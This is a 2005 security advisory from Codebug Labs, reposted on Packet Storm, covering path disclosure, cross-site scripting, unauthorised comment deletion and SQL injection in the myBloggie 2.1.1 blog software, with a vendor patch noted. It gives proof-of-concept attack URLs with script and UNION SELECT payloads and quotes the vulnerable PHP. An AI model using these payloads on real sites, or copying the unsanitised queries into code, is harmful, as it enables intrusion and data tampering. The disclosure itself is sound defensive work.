what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

codebug-9.txt

codebug-9.txt
Posted May 7, 2005
Authored by Alberto Trivero | Site codebug.org

Codebug Labs Advisory 09 - myBloggie 2.1.1 multiple vulnerabilities. Full path disclosure, Cross-Site Scripting, content deletion, and SQL injection vulnerabilities exist in myBloggie 2.1.1.

tags | advisory, vulnerability, xss, sql injection
SHA-256 | f7f7644eba42b3961a50a761d17b98dae395eb1f1dd97d656f8504adfac6d9e5

codebug-9.txt

Change Mirror Download
******************************************************
* CODEBUG Labs
* Advisory #9
* Title: Multiple vulnerabilities in myBloggie 2.1.1
* Authors: Alberto Trivero & CorryL
* English Version: Alberto Trivero
* Product: myBloggie 2.1.1
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
******************************************************


--) Software Page (mybloggie.mywebland.com)

"myBloggie is considered one of the most simple, user-friendliest yet packed with features
Weblog system available to date. Built using PHP & mySQL, web most popular scripting
language & database system enable myBloggie to be installed in any webservers."


--) Full Path Disclosure

Thanks to an improper sanitization of the post_id parameter, it's possible to show the
full path by sending a simple request:

http://www.example.com/mybloggie/index.php?mode=viewid&post_id='


--) Cross-Site Scripting (XSS)

Input passed to 'year' parameter in viewmode.php is not properly sanitised before being
returned to users. This can be exploited execute arbitrary HTML and script code in a
user's browser session in context of a vulnerable site with an URL like this:

http://www.example.com/mybloggie/index.php?month_no=3&year=%3Cscript%3Ealert(document.cookies)%3C/script%3E

Frequently, when there is an SQL syntax error, MySQL, in the HTML page, report the value
of the parameter that caused the error without sanitization. So it's possible tu inject
HTML code in some parameter like these:

http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3EC
http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E
http://www.example.com/mybloggie/index.php?mode=viewid&post_id=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E

Note that this vulnerability it's only in part related to a iussue of the blog.


--) Arbitrary Comment Deletion

Let's look at code from delcomment.php at line 31:

<?
...
if (isset($_GET['comment_id'])) $comment_id = $_GET['comment_id'];
if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];

if ($confirm=="") {
message($lang['Confirm'], $lang['Msg_Del_error3']." <a class=\"std\" href=\"".$_SERVER['PHP_SELF']."?mode=delcom&comment_id=".$comment_id."&confirm=yes\">".$lang['Yes']."</a>");
}
elseif ($confirm=="yes") {
// Data Base Connection //
$sql = "DELETE FROM ".COMMENT_TBL." WHERE comment_id=$comment_id";
$result = $db->sql_query($sql);
$confirm ="";
message($lang['Del'], $lang['Msg_Del']);
}
else message( $lang['Error'],$lang['Msg_Del_error2'] );
?>

This piece of code has the task of delete a comment of a post. Normally this operation
can be do only by the administrator by click on a specific link that the other users
can't view. But this URL can be created by any user and myBloggie doesn't control if
the user that send the request has the privileges to do it. So anyone can delete
comments of others users specifing the comment id with this URL:

http://www.example.com/mybloggie/index.php?mode=delcom&comment_id=[comment_id]&confirm=yes


--) SQL Injection

Let's look at code from search.php at line 62:

<?
...
$sql = "SELECT COUNT(a.post_id) AS num_posts
FROM " . POST_TBL . " a
WHERE a.subject like '%".$keyword."%' OR a.message like '%".$keyword."%'" ;
...
?>

When myBloggie get the value of the 'keyword' parameter and put it in the SQL query,
don't sanitise it. So a remote user can do SQL injection attacks. This is a PoC URL:

http://www.example.com/mybloggie/index.php?mode=search&keyword=trivero%'%20UNION%20SELECT%20null/*

These are other PoC URLs for other parameters:

http://www.example.com/mybloggie/index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null/*
http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=1%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null/*
http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=1%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null/*
http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=1&year=1%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null/*
http://www.example.com/mybloggie/index.php?mode=viewid&post_id=1%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null/*


--) Patch

After the report to developer of the blog of these bugs, he realesed the patches
available at this address: http://mywebland.com/forums/viewtopic.php?t=180


******************************************************
* http://www.codebug.org/
******************************************************
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close